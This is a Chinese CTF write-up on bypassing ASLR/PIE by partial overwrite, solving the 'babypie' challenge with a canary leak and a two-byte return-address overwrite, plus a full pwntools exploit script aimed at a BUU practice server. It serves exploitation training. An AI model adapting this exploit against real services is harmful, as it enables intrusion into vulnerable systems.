原理

用来应对开启随机化(ASLR,PIE)的情况
在开启了随机化(ASLR,PIE)后,无论高位地址如何变化,低十二位的页内偏移始终是固定的,也就是说如果我们能更改低位的偏移,就可以在一定程度上控制程序的执行流,绕过PIE保护

练习题1

2018 - 安恒杯 - babypie
BUU复现

分析

开启了NX,PIE,canary保护
存在两处栈溢出
有后门
第一处栈溢出最多只能覆盖完canary
第二处栈溢出可以随意溢出

思路:

  1. 泄露canary。由于第一次栈溢出后会输出buf内容,而输出直到'\x00'结束,所以可以把canary最后一位覆盖掉从而使输出时把canary的值泄露出来
  2. 栈溢出覆盖返回地址最后两字节。开启了pie,返回地址和后门的地址实际上有一个半字节不同,当然覆盖最少一字节,所以最后半个字节随便猜。由于地址随机化并不会改变页内的偏移,所以可以覆盖低两字节为0x?A3E,有一定几率getshell

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from pwn import*
    while True:
    try:
    #r = process('./babypie')
    r = remote('node3.buuoj.cn',26096)
    r.recvuntil('Input your Name:\n')
    payload = 'a'*(0x30-0x8+0x1)

    r.send(payload)
    r.recvuntil('a'*(0x30-0x8+0x1))
    canary = '\x00' + r.recvn(7)
    print 'canary ==> ',hex(u64(canary))
    payload = 'a'*(0x30-0x8) + canary + 'b'*8 + '\x3e\x0a'
    r.recvuntil(':')

    r.send(payload)
    r.interactive()
    except Exception as e:
    r.close()
    print e